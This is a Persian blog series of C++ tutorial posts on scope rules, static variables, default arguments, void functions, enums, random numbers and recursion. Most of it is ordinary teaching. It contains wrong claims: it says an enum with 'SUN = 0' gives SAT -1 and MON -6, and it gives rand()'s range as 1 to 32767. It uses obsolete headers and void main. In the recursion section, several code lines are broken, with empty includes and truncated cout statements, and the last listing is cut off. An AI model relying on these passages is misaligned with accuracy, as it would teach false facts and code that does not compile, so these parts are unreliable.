در برنامه فوق متغير عمومی pi از نوع float تعريف شده است و در تابع متغير محلی pi از نوع int با مقدار اوليه pi عمومی مقدار دهی می شود . توجه داشته باشيد که برای دستيابی به مقدار pi عمومی از عملگر يگانی تفکيک حوزه (::) استفاده شد . پس از مقدار دهی به pi محلی ، توسط دستور cout ، متغير pi محلی که حاوی عدد 3 است چاپ می گردد و در خط بعدی متغير pi عمومی که حاوی 3.14159 می باشد چاپ خواهد شد .


 
comment نظرات ()
 
 
قسمت بیست و دوم
نویسنده : Hossein - ساعت ۱٢:٥٦ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

آرگومانهای پيش فرض توابع

در برنامه نويسی ممکن است تابعی را به دفعات با آرگومانهای يکسانی صدا بزنيم . در چنين حالتی ، برنامه نويس می تواند برای آرگومانهای تابع ، مقداری را به عنوان پيش فرض قرار دهد . هنگامی که در فراخوانی توابع ، آرگومان دارای مقدار پيش فرض حذف شده باشد ، کامپايلر مقدار پيش فرض آن آرگومان را به تابع خواهد فرستاد .

آرگومان های پيش فرض بايد سمت راستی ترين آرگومان های تابع باشند . هنگامی که تابعی با بيش از يک آرگومان فراخوانی می شود ، اگر آرگومان حذف شده سمت راستی ترين آرگومان نباشد ، آنگاه همه آرگومانهای سمت راست آن آرگومان نيز بايد حذف شوند . آرگومان های پيش فرض بايد در اولين جايی که نام تابع آورده می شود ( که معمولاً در پيش تعريف تابع است ) مشخص شوند .

مقادير پيش فرض می توانند اعداد ، مقادير ثابت ، متغيرهای عمومی و يا خروجی تابع ديگر باشند .

برنامه زير نحوه مقدار دهی به آرگومان های پيش فرض و نيز نحوه فراخوانی تابع با مقدار پيش فرض را نشان می دهد . در اين برنامه حجم جعبه ای محاسبه می شود .

#include <iostream.h>

// function prototype that specifies default arguments
int boxVolume(int length=1, int width=1, int height=1);

int main()
{
//no arguments--use default values for all dimensions
cout <<"The default box volume is: "<<boxVolume();

//specify length; default width and height
cout <<"\n\nThe volume of a box with length 10,\n"
<<"width 1 and height 1 is: "<<boxVolume(10);

//specify length and width; default height
cout <<"\n\nThe volume of a box with length 10,\n"
<<"width 5 and height 1 is: "<<boxVolume(10,5);

//specify all arguments
cout <<"\n\nThe volume of a box with length 10,\n"
<<"width 5 and height 2 is: "<<boxVolume(10,5,2)
<<endl;

return 0; // indicates successful termination

} //end main

// function boxVolume calculates the volume of a box
int boxVolume( int length, int width, int height )
{
return length * width * height;
} // end function boxVolume

خروجی برنامه فوق به صورت زير می باشد .

The default box volume is: 1

The volume of a box with length 10,
width 1 and height 1 is: 10

The volume of a box with length 10,
width 5 and height 1 is: 50

The volume of a box with length 10,
width 5 and height 2 is: 100

در پيش تعريف تابع boxVolume به هر يک از سه آرگومان تابع مقدار پيش فرض 1 داده شده است . توجه داشته باشيد که مقادير پيش فرض بايد در پيش تعريف تابع نوشته شوند ، ضمناً نوشتن نام آرگومان های تابع در پيش تعريف الزامی نيست و در برنامه فوق اينکار تنها برای خوانايی بيشتر انجام گرفته است ، البته توصيه می شود که شما نيز از اين شيوه استفاده کنيد . به عنوان مثال پيش فرض تابع boxVolume در برنامه فوق را می توانستيم به صورت زير نيز بنويسيم :

int boxVolume (int = 1 , int = 1 , int = 1 );

در اولين فراخوانی تابع boxVolume در برنامه فوق هيچ آرگومانی به آن داده نشده است لذا هر سه مقدار پيش فرض آرگومان ها مورد استفاده قرار می گيرد و حجم جعبه عدد 1 می شود . در دومين فراخوانی آرگومان length ارسال می گردد ، لذا مقادير پيش فرض آرگومان های width و height استفاده می شوند . در سومين فراخوانی آرگومان های width و length ارسال می گردند لذا مقادير پيش فرض آرگومان height مورد استفاده قرار می گيرد . در آخرين فراخوانی هر سه آرگومان ارسال می شوند لذا از هيچ مقدار پيش فرضی استفاده نمی شود .

پس هنگامی که يک آرگومان به تابع فرستاده می شود ، آن آرگومان به عنوان length در نظر گرفته می شود و هنگامی که دو آرگومان به تابع boxVolume فرستاده می شود تابع آنها را به ترتيب از سمت چپ به عنوان آرگومان length و سپس width در نظر می گيرد و سرانجام هنگامی که هرسه آرگومان فرستاده می شود به ترتيب از سمت چپ در length و width و height قرار می گيرند .


 
comment نظرات ()
 
 
قسمت بیست و یکم
نویسنده : Hossein - ساعت ۱٢:٥٤ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

قوانين حوزه

قسمتی از برنامه که در آن متغيری تعريف شده و قابل استفاده می باشد، حوزه آن متغير گفته می شود. در زبان ++C به قسمتی از برنامه که با يک علامت ( } ) شروع شده و با علامت ( { ) به پايان می رسد يک بلوک می گويند. به عنوان مثال هنگامی که متغيری را در يک بلوک تعريف می کنيم، متغير فقط در آن بلوک قابل دسترسی می باشد ولذا حوزه آن متغير بلوکی که در آن تعريف شده است ، می باشد. به مثال زير توجه کنيد :

#include <iostream.h>

void main( )
{
{
int x= 1;
cout << x;
}
cout << x;
}

اگر برنامه فوق را بنويسيم و بخواهيم اجرا کنيم پيغام خطای Undefined symbol 'x' را دريافت خواهيم کرد ودليل اين امر اين است که متغير x فقط در بلوک درونی تابع main تعريف شده است، لذا در خود تابع قابل دسترسی نمی باشد. در اين مبحث به بررسی حوزه تابع، حوزه فايل و حوزه بلوک می پردازيم.

متغیری که خارج از همه توابع تعریف می شود، دارای حوزه فایل می باشد و چنین متغیری برای تمام توابع، شناخته شده وقابل استفاده می باشد. به مثال زیر توجه کنید:

#include <iostream.h>

int x=1;
int f();

void main( )
{
cout << x;
cout << f();
cout << x;
}
int f(){
return 2*x;
}

متغیر x دارای حوزه فایل می باشد. لذا در تابع main و تابع f قابل استفاده می باشد. خروجی برنامه فوق به صورت زير می باشد.

121

متغیری که درون توابع و یا به عنوان آرگومان تابع تعریف می گردد، دارای حوزه تابع می باشد و از نوع متغیرهای محلی است و خارج ازتابع قابل استفاده و دسترسی نمی باشد. توابعی که تا کنون نوشتیم ومتغیرهایی که در آن ها تعریف کردیم، همگی دارای حوزه تابع بودند. ضمنا این متغیرها، هنگامی که برنامه از آن تابع خارج می شود، مقادیر خود را از دست می دهند. حال اگر بخواهیم یک متغیر محلی تابع، مقدار خود را حفظ کرده و برای دفعات بعدی فراخوانی تابع نیز نگه دارد، زبان ++c کلمه static را در اختیار ما قرار داده است. کلمه static را باید قبل از نوع متغیر قرار دهیم. مانند:

static int x=1;

دستور فوق متغیر x را از نوع عدد صحیح تعریف می کند و این متغیر با اولین فراخوانی تابع مقدار دهی می شود و در دفعات بعدی فراخوانی تابع مقدار قبلی خود را حفظ می کند. به مثال زیر توجه کنید:

#include <iostream.h>

int f();

void main( )
{
cout << f();
cout << f();
cout << f();
}
int f(){
static int x=0;
x++;
return x;
}

خروجی برنامه فوق به صورت زیر می باشد:

123

برنامه با اولین فراخوانی تابع f به متغیر محلی x مقدار 0 را می دهد، سپس به x یک واحد اضافه می شود و به عنوان خروجی برگردانده می شود. پس ابتدا عدد1 چاپ می گردد. در بار دوم فراخوانی تابع f ، متغیر x دوباره مقداردهی نمی شود، بلکه به مقدار قبلی آن که عدد 1 است، یک واحد اضافه گشته و به عنوان خروجی برگردانده می شود. پس این بار عدد 2 چاپ می گردد و در نهایت با فراخوانی تابع f برای بار سوم عدد 3 چاپ خواهد شد. اگر برنامه فوق را بدون کلمه static بنويسيم، خروجی 111 خواهد بود.

یکی از نکاتی که می توان در قوانین حوزه بررسی کرد، متغیرهای همنام در بلوک های تو در تو می باشد. به مثال زیر توجه کنید:

#include <iostream.h>

void main( )
{
int x=1;
cout << x;
{
int x= 2;
cout << x;
}
cout << x;
}

در برنامه فوق متغیر x یک بار در تابع main تعریف شده است و با دیگر در بلوک درونی. خروجی برنامه به صورت زیر می باشد:

121

هنگامی که در بلوک درونی متغیری با نام x را مجددا تعریف می کنیم، متغیر خارج از بلوک از دید برنامه پنهان می گردد و تنها متغير داخل بلوک قابل استفاده می شود. همچنین هنگامی که برنامه از بلوک خارج می گردد، متغیر x بیرونی دوباره قابل استفاده می گردد. ضمنا توجه داشته باشید که مقدار متغیر x تابع main تغییری نکرده است، یعنی با وجود استفاده از متغیری همنام و نیز مقداردهی آن، تاثیری روی متغیر x تابع ایجاد نشده است. چون حوزه متغیر x بلوک درونی تنها داخل آن بلوک می باشد.

برنامه زیر تمام موارد ذکر شده در این مبحث را شامل می شود. بررسی آن و خروجی برنامه شما را در فهم بهتر این مبحث یاری می نماید.

#include <iostream.h>

void useLocal( void ); // function prototype
void useStaticLocal( void ); // function prototype
void useGlobal( void ); // function prototype

int x = 1; // global variable

void main()
{
int x = 5; // local variable to main

cout <<"local x in main's outer scope is "<<x<<endl;

{ // start new scope

int x = 7;

cout <<"local x in main's inner scope is "<<x<<endl;

} // end new scope

cout <<"local x in main's outer scope is "<<x<< endl;

useLocal(); //useLocal has local x
useStaticLocal(); //useStaticLocal has static local x
useGlobal(); //useGlobal uses global x
useLocal(); //useLocal reinitializes its local x
useStaticLocal();//static local x retains its prior value
useGlobal(); //global x also retains its value

cout << "\nlocal x in main is " << x << endl;

} // end main

//useLocal reinitializes local variable x during each call
void useLocal( void )
{
int x = 25; //initialized each time useLocal is called

cout << endl << "local x is " << x
<< " on entering useLocal" << endl;
++x;
cout << "local x is " << x
<< " on exiting useLocal" << endl;

} // end function useLocal

// useStaticLocal initializes static local variable x
// only the first time the function is called; value
// of x is saved between calls to this function
void useStaticLocal( void )
{
// initialized first time useStaticLocal is called.
static int x = 50;

cout << endl << "local static x is " << x
<< " on entering useStaticLocal" << endl;
++x;
cout << "local static x is " << x
<< " on exiting useStaticLocal" << endl;

} // end function useStaticLocal

// useGlobal modifies global variable x during each call
void useGlobal( void )
{
cout << endl << "global x is " << x
<< " on entering useGlobal" << endl;
x *= 10;
cout << "global x is " << x
<< " on exiting useGlobal" << endl;

} // end function useGlobal

خروجی برنامه به صورت زیر می باشد:

local x in main's outer scope is 5
local x in main's inner scope is 7
local x in main's outer scope is 5

local x is 25 on entering useLocal
local x is 26 on exiting useLocal

local static x is 50 on entering useStaticLocal
local static x is 51 on exiting useStaticLocal

global x is 1 on entering useGlobal
global x is 10 on exiting useGlobal

local x is 25 on entering useLocal
local x is 26 on exiting useLocal

local static x is 51 on entering useStaticLocal
local static x is 52 on exiting useStaticLocal

global x is 10 on entering useGlobal
global x is 100 on exiting useGlobal

local x in main is 5

در برنامه فوق سه تابع با نام های useLocal ,useGlobal ,useStaticLocal داریم. متغیر x تعریف شده در ابتدای برنامه با مقدار 1 به عنوان یک متغیر عمومی می باشد و دارای حوزه فایل است. در تابع main، متغیر x  با مقدار 5 تعریف شده است. لذا متغیر عمومی x با مقدار 1 نادیده گرفته می شود و هنگام اجرای دستور cout ، متغير x با مقدار 5 در خروجی چاپ می شود. در بلوک درونی، متغیر x با مقدار 7 تعریف شده است. لذا x عمومی و x محلی تابع main نادیده گرفته می شوند و تنها x با مقدار 7 توسط دستور cout چاپ می گردد. پس از آنکه بلوک حوزه x با مقدار 7 به اتمام می رسد، دوباره x محلی تابع main با مقدار 5 نمایان می گردد.

تابع useLocal متغیر محلی x را با مقدار 25 در خود تعریف می کند. هنگامی که این تابع در برنامه فراخوانی می شود، تابع ، متغیر x را چاپ می کند، سپس یک واحد به آن اضافه کرده و دوباره x را چاپ می کند. هر بار که این تابع فراخوانی می شود، متغیر x با مقدار 25 در آن تعریف می شود و هنگام خروج از تابع از بین می رود.

تابع useStaticLocal متغیرمحلی x را از نوع static تعریف کرده و با عدد 50 مقداردهی می کند و سپس آن را چاپ کرده و یک واحد به آن اضافه می کند و دوباره چاپش می کند. اما هنگام خروج از تابع مقدار x از بين نمی رود. و با فراخوانی مجدد تابع ، مقدار قبلی متغير x محلی ، برای اين تابع موجود می باشد و دوباره از نو مقداردهی نمی شود. در اينجا هنگامی که تابع دوباره فراخوانی می شود، x حاوی 51 خواهد بود.

تابع useGlobal هيچ متغيری را در خود تعريف نمی کند. لذا هنگامی که به متغير x  مراجعه می کند ، متغيرx عمومی مورد استفاده قرار می گيرد. هنگامی که اين تابع فراخوانی می شود مقدار متغير x عمومی چاپ می شود. سپس در 10 ضرب شده و دوباره چاپ می گردد. هنگامی که برای بار دوم تابع useGlobal فراخوانی می شود x عمومی حاوی عدد 100 می باشد.

پس از اينکه برنامه هر يک از توابع فوق را دوبار فراخوانی کرد ، مجددا متغير x تابع main با مقدار 5 چاپ می گردد و اين نشان می دهد که هيچ يک از توابع ، تاثيری روی متغير محلی تابع main نداشتند.


 
comment نظرات ()
 
 
قسمت بیستم
نویسنده : Hossein - ساعت ۱٢:٥۱ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

توابع بدون خروجی و آرگومان

در برنامه نويسی به توابعی نياز پيدا می کنيم که نياز ندارند چيزی را به عنوان خروجی تابع برگردانند و يا توابعی که نياز به آرگومان و ورودی ندارند ويا هر دو. زبان ++C برای امکان استفاده از چنين توابعی، کلمه void را در اختيار ما قرار داده است. اگر بخواهيم تابعی بدون خروجی ايجاد کنيم کافی است به جای نوع داده خروجی تابع کلمه void را قرار دهيم. به تابع زير توجه کنيد.

void function (int num)
{
cout << "My input is" << num << endl;
}

همانطور که می بينيد اين تابع نيازی به استفاده از دستور return ندارد چون قرار نيست چيزی را به عنوان خروجی تابع برگرداند. تابع فوق بر اساس مقدار داده ورودی، پيغامی را بر روی صفحه نمايش چاپ می کند.

حال که با void آشنا شديد می توانيم از اين به بعد تابع main را از نوع void تعريف کنيم. در اين صورت ديگر نيازی به استفاده از دستور return 0;در انتهای برنامه نداريم :

void main()
{
دستورات برنامه
}

به عنوان مثال برنامه برج هانوی را که در مبحث توابع بازگشتی نوشتيم با استفاده از نوع void بازنويسی می کنيم.

#include <iostream.h>

void hanoi(int, char, char, char);

void main( )
{
cout<<"Moving 4 disks form tower A to C."<<endl;
hanoi(4,'A','B','C');
}

void hanoi(int n, char first, char help, char second) {
if (n == 1) {
cout << "Disk " << n << " from tower " << first
<< " to tower " << second << endl;
} else {
hanoi(n-1, first, second, help);
cout << "Disk " << n << " from tower " << first
<< " to tower " << second << endl;
hanoi(n-1, help, first, second);
}
}

همانطور که در برنامه فوق می بينيد تابع hanoi بدون دستور return نوشته شده است، زيرا نوع تابع void می باشد، يعنی تابع بدون خروجی است و توابع بدون خروجی را می توانيم مستقيماً همانند برنامه فوق فراخوانی کنيد. يعنی کافی است نام تابع را همراه آرگومانهای مورد نظر بنويسيم.

برای ايجاد توابع بدون آرگومان می توانيد در پرانتز تابع کلمه void را بنويسيد يا اينکه اين پرانتز را خالی گذاشته و در آن چيزی ننويسيد.

void function1();
int function2(void);

در دو دستور فوق تابع function1 از نوع توابع بدون خروجی و بدون آرگومان ايجاد می شود. و تابع function2 از نوع توابع بدون آرگومان و با خروجی از نوع عدد صحيح می باشد، برای آشنايی با نحوه کاربرد توابع بدون آرگومان به برنامه زير توجه کنيد :

#include <iostream.h>

int function(void);

void main( )
{
int num, counter = 0;
float average, sum = 0;

num=function();

while (num != -1){
sum += num ;
++counter;
num=function();
}

if (counter != 0){
average = sum / counter;
cout << "The average is " << average << endl;
}
else
cout << "No numbers were entered." << endl;
}

int function(void){
int x;
cout << "Enter a number (-1 to end):";
cin >>x;
return x;
}

همانطور که در برنامه فوق مشاهده می کنيد تابع function از نوع توابع بدون آرگومان می باشد و دارای خروجی صحيح می باشد. اين تابع در برنامه دو بار فراخوانی شده است و وظيفه اين تابع دريافت متغيری از صفحه کليد و برگرداندن آن متغير به عنوان خروجی تابع می باشدو دستور num=function() عدد دريافت شده از صفحه کليد را در متغير num قرار می دهد اگر به ياد داشته باشيد اين برنامه قبلاً بدون استفاده از تابع در مبحث ساختار تکرار while نوشته بوديم. برای درک بهتر اين برنامه توصيه می شود آن را با برنامه موجود در مبحث ساختار تکرار while مقايسه کنيد، و متوجه خواهيد شد که تابع function  ما را از دوباره نويسی بعضی از دستورات بی نياز کرده است و نيز برنامه خلاصه تر و مفهوم تر شده است.


 
comment نظرات ()
 
 
قسمت نوزدهم
نویسنده : Hossein - ساعت ۱٢:٤٩ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

نوع داده ای enum

enum يک نوع داده ای تعريف شده توسط برنامه نويس را که به آن نوع داده شمارش می گويند، ايجاد می کند. نحوه ايجاد يک نوع داده شمارش به صورت زير می باشد.

enum {ثابت n و ... و ثابت 2 و ثابت 1} نام نوع داده

اين دستور به ترتيب در ثابت 1 ، ثابت 2 و ... و ثابتn اعداد صحيح متوالی 0 تا n را قرار می دهد . به صورت پيش فرض مقداردهی متغيرها در اين دستور از صفر شروع می شود.

enum TrueFalse {FALSE , TRUE}

دستور فوق به ثابت FALSE ، عدد صفر و به ثابت TRUE عدد 1 را تخصيص می دهد. حال اگر بخواهيم مقداردهی از عددی غير از صفر شروع شود بايد عدد مورد نظر را مشخص کنيم :

enum Days {SAT = 1, SUN, MON, TUE, WED, THU, FRI}

دستور فوق به روزهای هفته به ترتيب اعداد 1 تا 7 را نسبت می دهد. توصيه می شود که نام ثابت های شمارشی را با حروف بزرگ بنويسيد ، بدين صورت اين ثابتها با متغيرهای برنامه ، اشتباه نمی شوند. ضمناً enum را در ابتدای برنامه به کار ببريد.

در حقيقت اين نوع داده به هر يک از موارد ليستی از اعداد نامی را نسبت می دهد. به عنوان نمونه در مثال روزهای هفته هر يک از اعداد 1 تا 7 را با يکی از روزهای هفته نام گذاری کرديم.

مقدار دهی موارد ليست به صورت های مختلف امکان پذير می باشد.

enum Days { MON, TUE, WED, THU, FRI, SAT , SUN = 0}

دستور فوق SUN را با عدد صفر و SAT را با عدد 1- و ... و MON را با عدد   -6 مقدار دهی می کند.

enum Colors {BLACK = 2, GREEN = 4, RED = 3,
BLUE = 5, GRAY,WHITE = 0}

در دستور فوق هر يک از موارد با عدد نسبت داده شده مقدار دهی می شوند و GRAY با عدد 6 مقدار دهی می شود چون بعد از BLUE = 5 آمده است.

به محض ساخته شدن ليست ، نوع داده نوشته شده توسط برنامه نويس قابل استفاده می گردد و می توان متغيرهايی را از نوع داده نوشته شده توسط برنامه نويس به همان شيوه ای که ساير متغيرها را تعريف می کرديم، تعريف کرد. به عنوان مثال :

TrueFalse  tf1,tf2;
Days day1, day2 = SUN;
Colors color1 = BLACK , color2 = GRAY;

همچنين متغيرها را می توان هنگام ايجاد نوع داده، تعريف کرد. به عنوان مثال :

TrueFalse {FALSE, TRUE} tf1 ,tf2;

نکته : تبديل داده ای از نوع enum به عدد صحيح مجاز می باشد ولی بر عکس اين عمل غير مجاز است. به عنوان مثال :

enum MyEnum {ALPHA, BETA, GAMMA};
int i = BETA;
int j = 3+GAMMA;

دستورات فوق مجاز می باشند، و اين دستورات عدد 1 را در i و 5 را در j قرار می دهند.

enum MyEnum {ALPHA, BETA, GAMMA};
MyEnum x = 2;
MyEnum y = 123;

ولی دستورات فوق غير مجاز می باشند. البته بعضی از کامپايلرها اين موضوع را ناديده می گيرند و تنها يک پيغام اخطار می دهند ولی توصيه می شود که برای پيشگيری از وقوع خطاهای منطقی در برنامه از به کار بردن دستوراتی مانند کدهای فوق خودداری کنيد.

برنامه زير نحوه کاربرد نوع داده enum را نشان می دهد.

#include <iostream.h> 
int main()
{
enum PizzaSize{SMALL,MEDIUM,LARGE,EXTRALARGE};
PizzaSize size;
size=LARGE;

cout<<"The small pizza has a value of "<<SMALL;
cout<<"\nThe medium pizza has a value of "<<MEDIUM;
cout<<"\nThe large pizza has a value of "<<size;

return 0;
}

خروجی برنامه به صورت زير می باشد:

The small pizza has a value of 0
The medium pizza has a value of 1
The large pizza has a value of 2

 
comment نظرات ()
 
 
قسمت هیجدهم
نویسنده : Hossein - ساعت ۱٢:٤٥ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

توليد اعداد تصادفی

يکی از کاربردهای اساسی کامپيوتر، استفاده از آن در کارهای شبيه سازی می باشد. در اينجا به بررسی نحوه توليد اعداد تصادفی می پردازيم. اعداد تصادفی در مسائل شبيه سازی کاربرد فراوانی دارند، به عنوان مثال شبيه سازی پرتاب سکه، پرتاب تاس و مسائلی از اين قبيل.

برای توليد اعداد تصادفی زبان ++C تابعی با نام rand() را که در فايل کتابخانه ای stdlib.h قرار دارد، در اختيار ما گذاشته است. به عنوان مثال دستور زير :

i = rand();

يک عدد تصادفی بين 1 تا 32767 را در متغير i قرار می دهد . تابع rand() اعداد را با احتمال مساوی در اين بازه انتخاب می کند پس شانس انتخاب هر عددی در اين بازه با اعداد ديگر برابر است.

معمولاً بازه اعدادی که توسط تابع rand توليد می شود، با آنچه که مورد نياز ماست متفاوت می باشد. به عنوان مثال برای شبيه سازی پرتاب سکه به دو عدد تصادفی و برای تاس به شش عدد تصادفی نياز داريم. فرض کنيد که می خواهيد عدد 31250 را به عددی بين 1 تا 6 تبديل کنيد. چه راه کاری را در نظر می گيريد؟ راهی که برای اين تبديل وجود دارد استفاده از باقيمانده صحيح می باشد، همانطور که می دانيد باقيمانده صحيح تقسيم هر عددی بر 6 يکی از اعداد 0 تا 5 می باشد. پس با اضافه کردن 1 واحد به باقيمانده ، عددی بين 1 تا 6 خواهيم داشت. به عنوان مثال در کادر زير عددی بين 1 تا 32767 وارد کنيد و با کليک بر روی دکمه محاسبه خروجی ، نتيجه محاسبه را ببينيد :

a=
a%6+1=

حال اگر به جای متغير a ، تابع rand() را قرار دهيم عبارت rand()%6+1 عددی تصادفی بين 1 تا 6 به ما می دهد به طور کلی برای بدست آوردن عددی تصادفی در بازه [a,b] می توانيم از فرمول زير استفاده کنيم.

rand()%(b-a+1)+a

به عنوان مثال خروجی قطعه برنامه زير عدد صحيحی در بازه [20,100] می باشد.

int a = 20 , b = 100;
cout<< rand()%(b-a+1)+a;

برنامه زير 20 عدد تصادفی بين 1 تا 6 را ايجاد می کند. که اين برنامه را می توان 20 بار پرتاب يک تاس در  نظر گرفت :

#include <iostream.h>
#include <stdlib.h>

int main()
{
for (int i = 1; i<= 20; i++ )
{
cout << rand() % 6 + 1<<"\t";

if ( i % 5 == 0 )
cout << endl;
}
return 0;
}

خروجی برنامه فوق به صورت زير می باشد :

5       5       3       5       5
2 4 2 5 5
5 3 2 2 1
5 1 4 6 4

يک بار ديگر برنامه فوق را اجرا کنيد و خروجی را مجدداً بررسی کنيد. خواهيد ديد خروجی دقيقاً همان اعداد قبلی می باشد. خروجی تابع rand() اعداد تصادفی می باشد ولی با اجرای دوباره برنامه همان اعداد مجدداً به همان ترتيب قبلی تکرار می شوند. اين تکرار يکی از قابليتهای تابع می باشد ودر اشکال زدايی برنامه کاربرد دارد.

اگر بخواهيم که تابع rand() اعداد کاملاً تصادفی ايجاد کند بايد از تابع srand() استفاده کنيم. اين تابع ورودی از نوع اعداد صحيح بدون علامت می گيرد و باعث تصادفی شدن تابع rand() بر اساس مقدار ورودی تابع srand() می شود. تابعsrand() نيز در فايل کتابخانه ای stdlib.h قرار دارد. در برنامه زير به نحوه استفاده از تابع srand() پی خواهيد برد.

#include <iostream.h>
#include <stdlib.h>

int main()
{
unsigned int num;

cout<<"Enter a number: ";
cin>>num;

srand(num);

for (int i = 1; i<= 20; i++ )
{
cout << rand() % 6 + 1<<"\t";

if ( i % 5 == 0 )
cout << endl;
}
return 0;
}

خروجی برنامه به صورت زير می باشد.

Enter a number: 251
3       4       1       4       6
6 4 6 2 5
5 3 1 4 5
1 6 6 6 1
Enter a number: 350
1       4       3       4       1
2 6 2 6 2
4 2 5 3 5
4 4 5 2 3
Enter a number: 251
3       4       1       4       6
6 4 6 2 5
5 3 1 4 5
1 6 6 6 1

همانطور که می بينيد بر اساس ورودی های مختلف خروجی نيز تغيير می کند. توجه داشته باشيد که ورودی های يکسان خروجی های يکسانی دارند.

اگر بخواهيم بدون نياز به وارد کردن عددی توسط کاربر، اعداد تصادفی داشته باشيم می توانيم از تابع time که در فايل کتابخانه ای time.h قرار دارد استفاده کنيم . تابع time ساعت کامپيوتر را می خواند و زمان را بر حسب ثانيه بر می گرداند ، به اين ترتيب دستور زير:

srand(time(0));

باعث می شود که تابع rand() در هر بار اجرای برنامه اعداد متفاوتی را ايجاد کند. اگر برنامه فوق را به صورت زير باز نويسی کنيم با هر بار اجرای برنامه اعداد تصادفی متفاوتی خواهيم داشت.

#include <iostream.h>
#include <stdlib.h>
#include <time.h>

int main()
{
srand(time(0));

for (int i = 1; i<= 20; i++ )
{
cout << rand() % 6 + 1<<"\t";

if ( i % 5 == 0 )
cout << endl;
}
return 0;
}

مثال : برنامه ای بنويسيد که پرتاب سکه ای را شبيه سازی کند ، بدين صورت که سکه را 2000 بار پرتاب کند و دفعات رو يا پشت آمدن سکه را چاپ کند.

#include <iostream.h>
#include <stdlib.h>
#include <time.h>

int main()
{
int back=0,front=0,face;

srand(time(0));

for (int i = 1; i<= 2000; i++ )
{
face=rand()%2+1;
switch(face)
{
case 1:
++back;
break;
case 2:
++front;
break;
default:
cout<<"Error!";
}
}

cout<<"Front: "<< front<<endl;
cout<<"Back : "<< back<<endl;

return 0;
}

 
comment نظرات ()
 
 
قسمت هفدهم
نویسنده : Hossein - ساعت ۱٢:٤۳ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

توابع بازگشتی

 

برنامه هايی که تا کنون نوشتيم يک تابع، تابع ديگری را فراخوانی می کرد. در برنامه نويسی ممکن است نياز پيدا کنيم که تابعی خودش را به صورت مستقيم يا غير مستقيم فراخوانی کند. به چنين توابعی، توابع بازگشتی گفته می شود . ابتدا از ديد رياضياتی توابع بازگشتی را بررسی می کنيم. دنباله اعداد زير را در نظر بگيريد :

 

2 , 5 , 11 , 23 , ...

 

جمله پنجم دنباله اعداد فوق چه عددی می باشد؟ حدس شما چيست؟ اگر کمی دقت کنيد متوجه خواهيد شد که هر جمله از دنباله فوق برابر است با دو برابر جمله قبلی بعلاوه يک. پس جمله پنجم برابر است با 2*23+1=47 دنباله فوق را توسط فرمول زير نيز می توان مشخص کرد :

 

d1 = 2
dn = 2*dn-1+1

 

همانطور که متوجه شده ايد در اين دنباله هر جمله به جملات قبلی خود وابسته است و برای بدست آوردن آن نياز به بازگشت روی جملات قبلی داريم تا اينکه سرانجام به جمله اول که عدد 2 می باشد برسيم. فرمول فوق را به صورت تابعی زير بازنويسی می کنيم :

 

d(1) = 2
d(n) = 2*d(n-1)+1

 

همانطور که در تابع فوق می بينيد يک حالت پايه وجود دارد که همان d(1)=2 می باشد و يکه حالت بازگشتی که تابع با يک واحد کمتر دوباره فراخوانی می شود d(n) = 2*d(n-1)+1 . توابع بازگشتی به طور کلی دارای يک يا چند حالت پايه و يک بخش بازگشتی می باشند. که معمولاً در بخش بازگشتی تابع با مقداری کمتر مجدداً فراخوانی می شود. تابع بازگشتی فوق به زبان ++C به صورت زير می باشد :

long int d(long int n)
{
if (n == 1)
return 2;
else
return 2*d(n-1)+1;
}

در زير برنامه ای می نويسيم تا با استفاده از تابع فوق 20 جمله اول دنباله مذکور را نمايش دهد.

#include 

long int d(long int);
int main( )
{
for (int i=1;i<=20;i++)
{
cout<<<"\t";
if (i%5==0) cout<
}

return 0;
}

long int d(long int n)
{
if (n == 1)
return 2;
else
return 2*d(n-1)+1;
}
2       5       11      23      47      
95 191 383 767 1535
3071 6143 12287 24575 49151
98303 196607 393215 786431 1572863

تابع، بازگشت را تا رسيدن به حالت پايه ادامه می دهد و به محض رسيدن به حالت پايه محاسبات بازگشتی پی در پی موجب رسيدن به جواب مورد نظر می شود.

مسئله برجهای هانوی (Towers of Hanoi)

هر برنامه نويسی بايد به نحوی با مسائل کلاسيک دست وپنجه نرم کرده باشد . يکی از معروفترين مسائل کلاسيک ، مسئله برجهای هانوی می باشد. طبق افسانه ای در معبدی در شرق دور، کاهنان معبدی تعدادی ديسک را از يک ستون به ستون ديگر جا به جا می کردند . ستون اول در ابتدا دارای 64 ديسک با اندازه های مختلف می باشد، که بزرگترين ديسک در پايين ستون و کوچکترين ديسک در بالای ستون قرار دارد. کاهنان بايد همه ديسکها را از يک ستون به ستون دوم منتقل می کردند. با اين شرط که در هر بار جا به جايی تنها يک ديسک منتقل شود و نيز ديسک بزرگتری روی ديسک کوچکتر قرار نگيرد. ضمناً ستون سومی به عنوان ستون کمکی در اختيار آنها می باشد. گويند هنگامی که کاهنان معبد همه 64 ديسک را با روش گفته شده از ستون اول به ستون دوم منتقل کنند جهان به پايان می رسد.

برای راحتی کار کاهنان و برای اينکه دچار اشتباه و دوباره کاری در انتقال نشوند می خواهيم برنامه ای بنويسيم که ترتيب انتقال ديسکها را چاپ کند.

برای نوشتن اين برنامه ، مسئله را بايد با ديد بازگشتی نگاه کنيم . انتقال n ديسک را به شيوه زير انجام می دهيم :

1- ابتدا n-1 ديسک را از ستون اول به ستون دوم به کمک ستون سوم منتقل کن.
2- ديسک آخر (بزرگترين ديسک) را از ستون اول به ستون سوم منتقل کن.
3- n-1 ديسک قرار گرفته در ستون دوم را به کمک ستون اول به ستون سوم منتقل کن.

مراحل انجام کار هنگام انتقال آخرين ديسک يعنی وقتی که n=1 می باشد، يعنی حالت پايه به اتمام می رسد. در حالت n=1 يک ديسک بدون کمک ستون کمکی به ستون ديگر منتقل می شود.

تابع بازگشتی مورد استفاده برای حل مسئله برجهای هانوی را با چهار آرگومان می نويسيم.

1- تعداد ديسکها
2- ستون مبدأ
3- ستون کمکی
4- ستون مقصد

تابع هانوی و برنامه ای که در آن اين تابع مورد استفاده قرار گرفته است به صورت زير می باشد :

#include 

int hanoi(int, char, char, char);

int main( )
{ int disks;

cout<<"Moving disks form tower A to C."<
cout<<"How many disks do you want to move?";
cin>>disks;
cout<<

return 0;
}

int hanoi(int n, char first, char help, char second)
{
if (n == 1) {
cout << "Disk " << n << " from tower " << first
<< " to tower " << second << endl;
}
else {
